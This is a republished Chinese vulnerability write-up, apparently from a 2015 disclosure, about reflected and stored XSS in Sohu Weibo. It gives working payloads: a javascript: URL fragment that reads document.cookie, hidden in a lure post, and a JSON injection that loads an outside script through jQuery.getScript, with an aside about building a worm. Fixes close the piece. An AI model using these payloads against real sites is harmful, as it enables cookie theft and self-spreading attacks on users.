网站地图    收藏   

主页 > 后端 > 网站安全 >

搜狐微博1个内容存储型XSS和N个反射型XSS - 网站

来源:自学PHP网    时间:2015-04-17 13:02 作者: 阅读:

[导读] 1. 漏洞1: 反射型XSS。漏洞URL:http://t.sohu.com/m/3398041534 (任何一条微博都可以的啦~~)漏洞函数:(function() { var originalUrl = window.location.href, toUrl = originalUrl.indexOf(......

1. 漏洞1: 反射型XSS。
 
漏洞URL:http://t.sohu.com/m/3398041534 (任何一条微博都可以的啦~~)
 
漏洞函数:
 
 
(function() {
        var originalUrl = window.location.href,
                toUrl = originalUrl.indexOf('#') != -1 && originalUrl.split('#')[1];
        if (toUrl) {
            window.location.href = toUrl;
        }
    })();
 
URL跳转时候没有过滤toUrl
 
漏洞利用, 随便发一条微博,内容为
让人震撼的XXX电影,史上最强大雷人的阵容,@谁谁谁,@谁谁谁,http://t.sohu.com/m/3398041534/#javascript:alert%28document.cookie%29%3B
 
点击即可中招。 具体图片见漏洞证明!
 
这第一个漏洞的更强大的位置在于。。
 
几乎所有整个搜狐微博的各个页面,都有上面这段漏洞函数。
 
比如:http://t.sohu.com/home (登录后,直接www.2cto.com http://t.sohu.com/home#javascript:alert(document.cookie);可见效果。)
 
 
因为http://t.sohu.com/m/\d+ 以及http://t.sohu.com/.+ 都存在该XSS,
所以俺说 是1×N 个反射型XSS。
 
平台:IE及Chrome下均有效。
 
Besides,
 
相比传统的反射型漏洞,加个<script>xxx</script>什么的, 容易被IE和其他浏览器自带的防护拦截。
 
这种location.href="javascript:xxxx" 不会受到这种影响。 所以此洞更有优势。
 
-------------------------华丽的分割线--------------------
 
2. 漏洞2:内容存储型XSS。
 
提交微博内容时:pics 字段为JSON数据,JSON数据里的url 过滤了双引号,但是没过滤单引号。 导致跨站。
 
构造以下理由代码: 即在地址后面xxx.png',a:(function(){alert('xx');})(),b:'
 
 
[{"url":"http://s1.t.itc.cn/mblog/pic/20125_2_12/s_90649467295126824.png',a:(function(){alert('xx');})(),b:'","extraData":{"smallest":{"w":64, "h":64, "size":1123},"small":{"w":64, "h":64, "size":1123},"middle":{"w":64, "h":64, "size":1123},"big":{"w":64, "h":64, "size":1123}}}]
 
发送此微博后, 其它用户点击内容图片即可触发。
 
图片长度有一定限制, 查看了下源码,搜狐微博用了jquery, 直接调用jQuery的getScript函数。调用站外JS。
 
 
[{"url":"http://s1.t.itc.cn/mblog/pic/20125_2_12/s_123.png',a:(function(){jQuery.getScript('//xss'+'report.sinaapp.com/1.js')})(),b:'","extraData":{"smallest":{"w":64, "h":64, "size":1123},"small":{"w":64, "h":64, "size":1123},"middle":{"w":64, "h":64, "size":1123},"big":{"w":64, "h":64, "size":1123}}}]
 
剩下的事情,就在我们的JS里完成即可咯~~ 蠕虫神马的~
 
具体效果见图片证明。



 
 
 
修复方案:

1. 反射型的那个,修改漏洞函数,对#后面来源的地址拿正则判断下咯。
2. 存储型的这个,过滤url里的单引号
摘自 gainover

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论